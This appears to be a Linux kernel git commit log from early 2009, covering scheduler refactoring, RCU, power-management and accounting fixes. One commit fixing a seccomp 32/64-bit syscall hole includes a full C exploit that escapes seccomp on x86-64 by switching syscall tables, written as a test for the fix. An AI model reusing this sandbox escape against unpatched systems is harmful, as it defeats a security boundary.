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2009-03-25sched: Refactor the power savings balance codeGautham R Shenoy
Impact: cleanup Create seperate helper functions to initialize the power-savings-balance related variables, to update them and to check if we have a scope for performing power-savings balance. Add no-op inline functions for the !(CONFIG_SCHED_MC || CONFIG_SCHED_SMT) case. This will eliminate all the #ifdef jungle in find_busiest_group() and the other helper functions. Signed-off-by: Gautham R Shenoy <ego@in.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Balbir Singh" <balbir@in.ibm.com> Cc: Nick Piggin <nickpiggin@yahoo.com.au> Cc: "Dhaval Giani" <dhaval@linux.vnet.ibm.com> Cc: Bharata B Rao <bharata@linux.vnet.ibm.com> Cc: "Vaidyanathan Srinivasan" <svaidy@linux.vnet.ibm.com> LKML-Reference: <20090325091422.13992.73616.stgit@sofia.in.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-25sched: Optimize the !power_savings_balance during fbg()Gautham R Shenoy
Impact: cleanup, micro-optimization We don't need to perform power_savings balance if either the cpu is NOT_IDLE or if the sched_domain doesn't contain the SD_POWERSAVINGS_BALANCE flag set. Currently, we check for these conditions multiple number of times, even though these variables don't change over the scope of find_busiest_group(). Check once, and store the value in the already exiting "power_savings_balance" variable. Signed-off-by: Gautham R Shenoy <ego@in.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Balbir Singh" <balbir@in.ibm.com> Cc: Nick Piggin <nickpiggin@yahoo.com.au> Cc: "Dhaval Giani" <dhaval@linux.vnet.ibm.com> Cc: Bharata B Rao <bharata@linux.vnet.ibm.com> Cc: "Vaidyanathan Srinivasan" <svaidy@linux.vnet.ibm.com> LKML-Reference: <20090325091417.13992.2657.stgit@sofia.in.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-25sched: Create a helper function to calculate imbalanceGautham R Shenoy
Move all the imbalance calculation out of find_busiest_group() through this helper function. With this change, the structure of find_busiest_group() will be as follows: - update_sched_domain_statistics. - check if imbalance exits. - update imbalance and return busiest. Signed-off-by: Gautham R Shenoy <ego@in.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Balbir Singh" <balbir@in.ibm.com> Cc: Nick Piggin <nickpiggin@yahoo.com.au> Cc: "Dhaval Giani" <dhaval@linux.vnet.ibm.com> Cc: Bharata B Rao <bharata@linux.vnet.ibm.com> Cc: "Vaidyanathan Srinivasan" <svaidy@linux.vnet.ibm.com> LKML-Reference: <20090325091411.13992.43293.stgit@sofia.in.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-25sched: Create helper to calculate small_imbalance in fbg()Gautham R Shenoy
Impact: cleanup We have two places in find_busiest_group() where we need to calculate the minor imbalance before returning the busiest group. Encapsulate this functionality into a seperate helper function. Credit: Vaidyanathan Srinivasan <svaidy@linux.vnet.ibm.com> Signed-off-by: Gautham R Shenoy <ego@in.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Balbir Singh" <balbir@in.ibm.com> Cc: Nick Piggin <nickpiggin@yahoo.com.au> Cc: "Dhaval Giani" <dhaval@linux.vnet.ibm.com> Cc: Bharata B Rao <bharata@linux.vnet.ibm.com> LKML-Reference: <20090325091406.13992.54316.stgit@sofia.in.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-25sched: Create a helper function to calculate sched_domain stats for fbg()Gautham R Shenoy
Impact: cleanup Create a helper function named update_sd_lb_stats() to update the various sched_domain related statistics in find_busiest_group(). With this we would have moved all the statistics computation out of find_busiest_group(). Credit: Vaidyanathan Srinivasan <svaidy@linux.vnet.ibm.com> Signed-off-by: Gautham R Shenoy <ego@in.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Balbir Singh" <balbir@in.ibm.com> Cc: Nick Piggin <nickpiggin@yahoo.com.au> Cc: "Dhaval Giani" <dhaval@linux.vnet.ibm.com> Cc: Bharata B Rao <bharata@linux.vnet.ibm.com> LKML-Reference: <20090325091401.13992.88737.stgit@sofia.in.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-25sched: Define structure to store the sched_domain statistics for fbg()Gautham R Shenoy
Impact: cleanup Currently we use a lot of local variables in find_busiest_group() to capture the various statistics related to the sched_domain. Group them together into a single data structure. This will help us to offload the job of updating the sched_domain statistics to a helper function. Credit: Vaidyanathan Srinivasan <svaidy@linux.vnet.ibm.com> Signed-off-by: Gautham R Shenoy <ego@in.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Balbir Singh" <balbir@in.ibm.com> Cc: Nick Piggin <nickpiggin@yahoo.com.au> Cc: "Dhaval Giani" <dhaval@linux.vnet.ibm.com> Cc: Bharata B Rao <bharata@linux.vnet.ibm.com> LKML-Reference: <20090325091356.13992.25970.stgit@sofia.in.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-25sched: Create a helper function to calculate sched_group stats for fbg()Gautham R Shenoy
Impact: cleanup Create a helper function named update_sg_lb_stats() which can be invoked to calculate the individual group's statistics in find_busiest_group(). This reduces the lenght of find_busiest_group() considerably. Credit: Vaidyanathan Srinivasan <svaidy@linux.vnet.ibm.com> Signed-off-by: Gautham R Shenoy <ego@in.ibm.com> Aked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Balbir Singh" <balbir@in.ibm.com> Cc: Nick Piggin <nickpiggin@yahoo.com.au> Cc: "Dhaval Giani" <dhaval@linux.vnet.ibm.com> Cc: Bharata B Rao <bharata@linux.vnet.ibm.com> LKML-Reference: <20090325091351.13992.43461.stgit@sofia.in.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-25sched: Define structure to store the sched_group statistics for fbg()Gautham R Shenoy
Impact: cleanup Currently a whole bunch of variables are used to store the various statistics pertaining to the groups we iterate over in find_busiest_group(). Group them together in a single data structure and add appropriate comments. This will be useful later on when we create helper functions to calculate the sched_group statistics. Credit: Vaidyanathan Srinivasan <svaidy@linux.vnet.ibm.com> Signed-off-by: Gautham R Shenoy <ego@in.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Balbir Singh" <balbir@in.ibm.com> Cc: Nick Piggin <nickpiggin@yahoo.com.au> Cc: "Dhaval Giani" <dhaval@linux.vnet.ibm.com> Cc: Bharata B Rao <bharata@linux.vnet.ibm.com> LKML-Reference: <20090325091345.13992.20099.stgit@sofia.in.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-25sched: Fix indentations in find_busiest_group() using gotosGautham R Shenoy
Impact: cleanup Some indentations in find_busiest_group() can minimized by using early exits with the help of gotos. This improves readability in a couple of cases. Signed-off-by: Gautham R Shenoy <ego@in.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Balbir Singh" <balbir@in.ibm.com> Cc: Nick Piggin <nickpiggin@yahoo.com.au> Cc: "Dhaval Giani" <dhaval@linux.vnet.ibm.com> Cc: Bharata B Rao <bharata@linux.vnet.ibm.com> Cc: "Vaidyanathan Srinivasan" <svaidy@linux.vnet.ibm.com> LKML-Reference: <20090325091340.13992.45062.stgit@sofia.in.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-25sched: Simple helper functions for find_busiest_group()Gautham R Shenoy
Impact: cleanup Currently the load idx calculation code is in find_busiest_group(). Move that to a static inline helper function. Similary, to find the first cpu of a sched_group we use cpumask_first(sched_group_cpus(group)) Use a helper to that. It improves readability in some cases. Signed-off-by: Gautham R Shenoy <ego@in.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Balbir Singh" <balbir@in.ibm.com> Cc: Nick Piggin <nickpiggin@yahoo.com.au> Cc: "Dhaval Giani" <dhaval@linux.vnet.ibm.com> Cc: Bharata B Rao <bharata@linux.vnet.ibm.com> Cc: "Vaidyanathan Srinivasan" <svaidy@linux.vnet.ibm.com> LKML-Reference: <20090325091335.13992.55424.stgit@sofia.in.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-25Merge branch 'sched/cleanups'; commit 'v2.6.29' into sched/coreIngo Molnar
2009-03-24sched: remove unused fields from struct rqLuis Henriques
Impact: cleanup, new schedstat ABI Since they are used on in statistics and are always set to zero, the following fields from struct rq have been removed: yld_exp_empty, yld_act_empty and yld_both_empty. Both Sched Debug and SCHEDSTAT_VERSION versions has also been incremented since ABIs have been changed. The schedtop tool has been updated to properly handle new version of schedstat: http://rt.wiki.kernel.org/index.php/Schedtop_utility Signed-off-by: Luis Henriques <henrix@sapo.pt> Acked-by: Gregory Haskins <ghaskins@novell.com> Acked-by: Peter Zijlstra <peterz@infradead.org> LKML-Reference: <20090324221002.GA10061@hades.domain.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-23fix ptrace slownessMiklos Szeredi
This patch fixes bug #12208: Bug-Entry : http://bugzilla.kernel.org/show_bug.cgi?id=12208 Subject : uml is very slow on 2.6.28 host This turned out to be not a scheduler regression, but an already existing problem in ptrace being triggered by subtle scheduler changes. The problem is this: - task A is ptracing task B - task B stops on a trace event - task A is woken up and preempts task B - task A calls ptrace on task B, which does ptrace_check_attach() - this calls wait_task_inactive(), which sees that task B is still on the runq - task A goes to sleep for a jiffy - ... Since UML does lots of the above sequences, those jiffies quickly add up to make it slow as hell. This patch solves this by not rescheduling in read_unlock() after ptrace_stop() has woken up the tracer. Thanks to Oleg Nesterov and Ingo Molnar for the feedback. Signed-off-by: Miklos Szeredi <mszeredi@suse.cz> CC: stable@kernel.org Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-23Merge branches 'sched/debug' and 'linus' into sched/coreIngo Molnar
2009-03-18sched: jiffies not printed per CPULuis Henriques
The jiffies value was being printed for each CPU, which does not seem to make sense. Moved jiffies to system section. Signed-off-by: Luis Henriques <henrix@sapo.pt> Acked-by: Peter Zijlstra <peterz@infradead.org> LKML-Reference: <20090318000425.GA2228@hades.domain.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-18module: fix refptr allocation and release orderMasami Hiramatsu
Impact: fix ref-after-free crash on failed module load Fix refptr bug: Change refptr allocation and release order not to access a module data structure pointed by 'mod' after freeing mod->module_core. This bug will cause kernel panic(e.g. failed to find undefined symbols). This bug was reported on systemtap bugzilla. http://sources.redhat.com/bugzilla/show_bug.cgi?id=9927 Signed-off-by: Masami Hiramatsu <mhiramat@redhat.com> Cc: Eric Dumazet <dada1@cosmosbay.com> Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
2009-03-17sched: small optimisation of can_migrate_task()Luis Henriques
There were 3 invocations of task_hot() in can_migrate_task(). Replace these 3 invocations by only one invocation, cached in a local variable. Signed-off-by: Luis Henriques <henrix@sapo.pt> LKML-Reference: <20090316195902.GA6197@hades.domain.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-17sched: fix typos in documentationLuis Henriques
Fixed typos in function documentation. Signed-off-by: Luis Henriques <henrix@sapo.pt> LKML-Reference: <20090316195809.GA6073@hades.domain.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-13Merge branches 'sched/clock', 'sched/urgent' and 'linus' into sched/coreIngo Molnar
2009-03-11sched: add avg_overlap decayMike Galbraith
Impact: more precise avg_overlap metric - better load-balancing avg_overlap is used to measure the runtime overlap of the waker and wakee. However, when a process changes behaviour, eg a pipe becomes un-congested and we don't need to go to sleep after a wakeup for a while, the avg_overlap value grows stale. When running we use the avg runtime between preemption as a measure for avg_overlap since the amount of runtime can be correlated to cache footprint. The longer we run, the less likely we'll be wanting to be migrated to another CPU. Signed-off-by: Mike Galbraith <efault@gmx.de> Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> LKML-Reference: <1236709131.25234.576.camel@laptop> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-10kernel/user.c: fix a memory leak when freeing up non-init usernamespaces usersDhaval Giani
We were returning early in the sysfs directory cleanup function if the user belonged to a non init usernamespace. Due to this a lot of the cleanup was not done and we were left with a leak. Fix the leak. Reported-by: Serge Hallyn <serue@linux.vnet.ibm.com> Signed-off-by: Dhaval Giani <dhaval@linux.vnet.ibm.com> Acked-by: Serge Hallyn <serue@us.ibm.com> Tested-by: Serge Hallyn <serue@us.ibm.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-10sched: optimize ttwu vs group schedulingPeter Zijlstra
Impact: micro-optimization We can avoid the sched domain walk on try_to_wake_up() when we know there are no groups. Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> LKML-Reference: <1236603381.8389.455.camel@laptop> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-10Merge branches 'sched/cleanups' and 'linus' into sched/coreIngo Molnar
2009-03-09copy_process: fix CLONE_PARENT && parent_exec_id interactionOleg Nesterov
CLONE_PARENT can fool the ->self_exec_id/parent_exec_id logic. If we re-use the old parent, we must also re-use ->parent_exec_id to make sure exit_notify() sees the right ->xxx_exec_id's when the CLONE_PARENT'ed task exits. Also, move down the "p->parent_exec_id = p->self_exec_id" thing, to place two different cases together. Signed-off-by: Oleg Nesterov <oleg@redhat.com> Cc: Roland McGrath <roland@redhat.com> Cc: Andrew Morton <akpm@linux-foundation.org> Cc: David Howells <dhowells@redhat.com> Cc: Serge E. Hallyn <serge@hallyn.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-09Fix fixpoint divide exception in acct_update_integralsHeiko Carstens
Frans Pop reported the crash below when running an s390 kernel under Hercules: Kernel BUG at 000738b4 verbose debug info unavailable! fixpoint divide exception: 0009 #1! SMP Modules linked in: nfs lockd nfs_acl sunrpc ctcm fsm tape_34xx cu3088 tape ccwgroup tape_class ext3 jbd mbcache dm_mirror dm_log dm_snapshot dm_mod dasd_eckd_mod dasd_mod CPU: 0 Not tainted 2.6.27.19 #13 Process awk (pid: 2069, task: 0f9ed9b8, ksp: 0f4f7d18) Krnl PSW : 070c1000 800738b4 (acct_update_integrals+0x4c/0x118) R:0 T:1 IO:1 EX:1 Key:0 M:1 W:0 P:0 AS:0 CC:1 PM:0 Krnl GPRS: 00000000 000007d0 7fffffff fffff830 00000000 ffffffff 00000002 0f9ed9b8 00000000 00008ca0 00000000 0f9ed9b8 0f9edda4 8007386e 0f4f7ec8 0f4f7e98 Krnl Code: 800738aa: a71807d0 lhi %r1,2000 800738ae: 8c200001 srdl %r2,1 800738b2: 1d21 dr %r2,%r1 >800738b4: 5810d10e l %r1,270(%r13) 800738b8: 1823 lr %r2,%r3 800738ba: 4130f060 la %r3,96(%r15) 800738be: 0de1 basr %r14,%r1 800738c0: 5800f060 l %r0,96(%r15) Call Trace: ( <000000000004fdea>! blocking_notifier_call_chain+0x1e/0x2c) <0000000000038502>! do_exit+0x106/0x7c0 <0000000000038c36>! do_group_exit+0x7a/0xb4 <0000000000038c8e>! SyS_exit_group+0x1e/0x30 <0000000000021c28>! sysc_do_restart+0x12/0x16 <0000000077e7e924>! 0x77e7e924 Reason for this is that cpu time accounting usually only happens from interrupt context, but acct_update_integrals gets also called from process context with interrupts enabled. So in acct_update_integrals we may end up with the following scenario: Between reading tsk->stime/tsk->utime and tsk->acct_timexpd an interrupt happens which updates accouting values. This causes acct_timexpd to be greater than the former stime + utime. The subsequent calculation of dtime = cputime_sub(time, tsk->acct_timexpd); will be negative and the division performed by cputime_to_jiffies(dtime) will generate an exception since the result won't fit into a 32 bit register. In order to fix this just always disable interrupts while accessing any of the accounting values. Reported by: Frans Pop <elendil@planet.nl> Tested by: Frans Pop <elendil@planet.nl> Cc: stable@kernel.org Cc: Martin Schwidefsky <schwidefsky@de.ibm.com> Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-06sched: TIF_NEED_RESCHED -> need_reshed() cleanupLai Jiangshan
Impact: cleanup Use test_tsk_need_resched(), set_tsk_need_resched(), need_resched() instead of using TIF_NEED_RESCHED. Signed-off-by: Lai Jiangshan <laijs@cn.fujitsu.com> Cc: Peter Zijlstra <a.p.zijlstra@chello.nl> LKML-Reference: <49B10BA4.9070209@cn.fujitsu.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-06Merge branch 'sched/core' into sched/cleanupsIngo Molnar
2009-03-05sched: don't rebalance if attached on NULL domainFrederic Weisbecker
Impact: fix function graph trace hang / drop pointless softirq on UP While debugging a function graph trace hang on an old PII, I saw that it consumed most of its time on the timer interrupt. And the domain rebalancing softirq was the most concerned. The timer interrupt calls trigger_load_balance() which will decide if it is worth to schedule a rebalancing softirq. In case of builtin UP kernel, no problem arises because there is no domain question. In case of builtin SMP kernel running on an SMP box, still no problem, the softirq will be raised each time we reach the next_balance time. In case of builtin SMP kernel running on a UP box (most distros provide default SMP kernels, whatever the box you have), then the CPU is attached to the NULL sched domain. So a kind of unexpected behaviour happen: trigger_load_balance() -> raises the rebalancing softirq later on softirq: run_rebalance_domains() -> rebalance_domains() where the for_each_domain(cpu, sd) is not taken because of the NULL domain we are attached at. Which means rq->next_balance is never updated. So on the next timer tick, we will enter trigger_load_balance() which will always reschedule() the rebalacing softirq: if (time_after_eq(jiffies, rq->next_balance)) raise_softirq(SCHED_SOFTIRQ); So for each tick, we process this pointless softirq. This patch fixes it by checking if we are attached to the null domain before raising the softirq, another possible fix would be to set the maximal possible JIFFIES value to rq->next_balance if we are attached to the NULL domain. v2: build fix on UP Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com> Cc: Steven Rostedt <rostedt@goodmis.org> Cc: Peter Zijlstra <peterz@infradead.org> LKML-Reference: <49af242d.1c07d00a.32d5.ffffc019@mx.google.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-05Merge commit 'v2.6.29-rc7' into sched/coreIngo Molnar
2009-03-04rcu: increment quiescent state counter in ksoftirqd()Eric Dumazet
If a machine is flooded by network frames, a cpu can loop 100% of its time inside ksoftirqd() without calling schedule(). This can delay RCU grace period to insane values. Adding rcu_qsctr_inc() call in ksoftirqd() solves this problem. Paul: "This regression was a result of the recent change from "schedule()" to "cond_resched()", which got rid of that quiescent state in the common case where a reschedule is not needed". Signed-off-by: Eric Dumazet <dada1@cosmosbay.com> Reviewed-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-03Merge branch 'sched-fixes-for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'sched-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: sched: don't allow setuid to succeed if the user does not have rt bandwidth sched_rt: don't start timer when rt bandwidth disabled
2009-03-03Merge branch 'core-fixes-for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'core-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: rcu: Teach RCU that idle task is not quiscent state at boot
2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02sched: kill unused parameter of pick_next_task()Wang Chen
Impact: micro-optimization Parameter "prev" is not used really. Signed-off-by: Wang Chen <wangchen@cn.fujitsu.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02Merge branches 'sched/clock', 'sched/urgent' and 'linus' into sched/coreIngo Molnar
2009-02-27Fix recursive lock in free_uid()/free_user_ns()David Howells
free_uid() and free_user_ns() are corecursive when CONFIG_USER_SCHED=n, but free_user_ns() is called from free_uid() by way of uid_hash_remove(), which requires uidhash_lock to be held. free_user_ns() then calls free_uid() to complete the destruction. Fix this by deferring the destruction of the user_namespace. Signed-off-by: David Howells <dhowells@redhat.com> Acked-by: Serge Hallyn <serue@us.ibm.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-27sched: don't allow setuid to succeed if the user does not have rt bandwidthDhaval Giani
Impact: fix hung task with certain (non-default) rt-limit settings Corey Hickey reported that on using setuid to change the uid of a rt process, the process would be unkillable and not be running. This is because there was no rt runtime for that user group. Add in a check to see if a user can attach an rt task to its task group. On failure, return EINVAL, which is also returned in CONFIG_CGROUP_SCHED. Reported-by: Corey Hickey <bugfood-ml@fatooh.org> Signed-off-by: Dhaval Giani <dhaval@linux.vnet.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26sched_clock: cleanupsPeter Zijlstra
- remove superfluous checks in __update_sched_clock() - skip sched_clock_tick() for sched_clock_stable - reinstate the simple !HAVE_UNSTABLE_SCHED_CLOCK code to please the bloatwatch Signed-off-by: Peter Zijlstra <peterz@infradead.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26sched: allow architectures to specify sched_clock_stableIngo Molnar
Allow CONFIG_HAVE_UNSTABLE_SCHED_CLOCK architectures to still specify that their sched_clock() implementation is reliable. This will be used by x86 to switch on a faster sched_clock_cpu() implementation on certain CPU types. Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26sched_rt: don't start timer when rt bandwidth disabledHiroshi Shimamoto
Impact: fix incorrect condition check No need to start rt bandwidth timer when rt bandwidth is disabled. If this timer starts, it may stop at sched_rt_period_timer() on the first time. Signed-off-by: Hiroshi Shimamoto <h-shimamoto@ct.jp.nec.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26cpuacct: add a branch predictionLi Zefan
cpuacct_charge() is in fast-path, and checking of !cpuacct_susys.active always returns false after cpuacct has been initialized at system boot. Signed-off-by: Li Zefan <lizf@cn.fujitsu.com> Cc: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: Paul Menage <menage@google.com> Cc: Balbir Singh <balbir@linux.vnet.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26Merge branches 'sched/cleanups', 'sched/urgent' and 'linus' into sched/coreIngo Molnar
2009-02-26rcu: Teach RCU that idle task is not quiscent state at bootPaul E. McKenney
This patch fixes a bug located by Vegard Nossum with the aid of kmemcheck, updated based on review comments from Nick Piggin, Ingo Molnar, and Andrew Morton. And cleans up the variable-name and function-name language. ;-) The boot CPU runs in the context of its idle thread during boot-up. During this time, idle_cpu(0) will always return nonzero, which will fool Classic and Hierarchical RCU into deciding that a large chunk of the boot-up sequence is a big long quiescent state. This in turn causes RCU to prematurely end grace periods during this time. This patch changes the rcutree.c and rcuclassic.c rcu_check_callbacks() function to ignore the idle task as a quiescent state until the system has started up the scheduler in rest_init(), introducing a new non-API function rcu_idle_now_means_idle() to inform RCU of this transition. RCU maintains an internal rcu_idle_cpu_truthful variable to track this state, which is then used by rcu_check_callback() to determine if it should believe idle_cpu(). Because this patch has the effect of disallowing RCU grace periods during long stretches of the boot-up sequence, this patch also introduces Josh Triplett's UP-only optimization that makes synchronize_rcu() be a no-op if num_online_cpus() returns 1. This allows boot-time code that calls synchronize_rcu() to proceed normally. Note, however, that RCU callbacks registered by call_rcu() will likely queue up until later in the boot sequence. Although rcuclassic and rcutree can also use this same optimization after boot completes, rcupreempt must restrict its use of this optimization to the portion of the boot sequence before the scheduler starts up, given that an rcupreempt RCU read-side critical section may be preeempted. In addition, this patch takes Nick Piggin's suggestion to make the system_state global variable be __read_mostly. Changes since v4: o Changes the name of the introduced function and variable to be less emotional. ;-) Changes since v3: o WARN_ON(nr_context_switches() > 0) to verify that RCU switches out of boot-time mode before the first context switch, as suggested by Nick Piggin. Changes since v2: o Created rcu_blocking_is_gp() internal-to-RCU API that determines whether a call to synchronize_rcu() is itself a grace period. o The definition of rcu_blocking_is_gp() for rcuclassic and rcutree checks to see if but a single CPU is online. o The definition of rcu_blocking_is_gp() for rcupreempt checks to see both if but a single CPU is online and if the system is still in early boot. This allows rcupreempt to again work correctly if running on a single CPU after booting is complete. o Added check to rcupreempt's synchronize_sched() for there being but one online CPU. Tested all three variants both SMP and !SMP, booted fine, passed a short rcutorture test on both x86 and Power. Located-by: Vegard Nossum <vegard.nossum@gmail.com> Tested-by: Vegard Nossum <vegard.nossum@gmail.com> Tested-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com> Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-22PM: Split up sysdev_[suspend|resume] from device_power_[down|up]Rafael J. Wysocki
Move the sysdev_suspend/resume from the callee to the callers, with no real change in semantics, so that we can rework the disabling of interrupts during suspend/hibernation. This is based on an earlier patch from Linus. Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-21Merge branch 'hibernate'Linus Torvalds
* hibernate: PM: Fix suspend_console and resume_console to use only one semaphore PM: Wait for console in resume PM: Fix pm_notifiers during user mode hibernation swsusp: clean up shrink_all_zones() swsusp: dont fiddle with swappiness PM: fix build for CONFIG_PM unset PM/hibernate: fix "swap breaks after hibernation failures" PM/resume: wait for device probing to finish Consolidate driver_probe_done() loops into one place
2009-02-21PM: Fix suspend_console and resume_console to use only one semaphoreArve Hjønnevåg
This fixes a race where a thread acquires the console while the console is suspended, and the console is resumed before this thread releases it. In this case, the secondary console semaphore would be left locked, and the primary semaphore would be released twice. This in turn would cause the console switch on suspend or resume to hang forever. Note that suspend_console does not actually lock the console for clients that use acquire_console_sem, it only locks it for clients that use try_acquire_console_sem. If we change suspend_console to fully lock the console, then the kernel may deadlock on suspend. One client of try_acquire_console_sem is acquire_console_semaphore_for_printk, which uses it to prevent printk from using the console while it is suspended. Signed-off-by: Arve Hjønnevåg <arve@android.com> Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Cc: Len Brown <lenb@kernel.org> Cc: Greg KH <gregkh@suse.de> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-21PM: Wait for console in resumeArve Hjønnevåg
Avoids later waking up to a blinking cursor if the device woke up and returned to sleep before the console switch happened. Signed-off-by: Brian Swetland <swetland@google.com> Signed-off-by: Arve Hjønnevåg <arve@android.com> Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Cc: Len Brown <lenb@kernel.org> Cc: Greg KH <gregkh@suse.de> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-21PM: Fix pm_notifiers during user mode hibernationAndrey Borzenkov
Snapshot device is opened with O_RDONLY during suspend and O_WRONLY durig resume. Make sure we also call notifiers with correct parameter telling them what we are really doing. Signed-off-by: Andrey Borzenkov <arvidjaar@mail.ru> Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Cc: Len Brown <lenb@kernel.org> Cc: Greg KH <gregkh@suse.de> Acked-by: Pavel Machek <pavel@ucw.cz> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
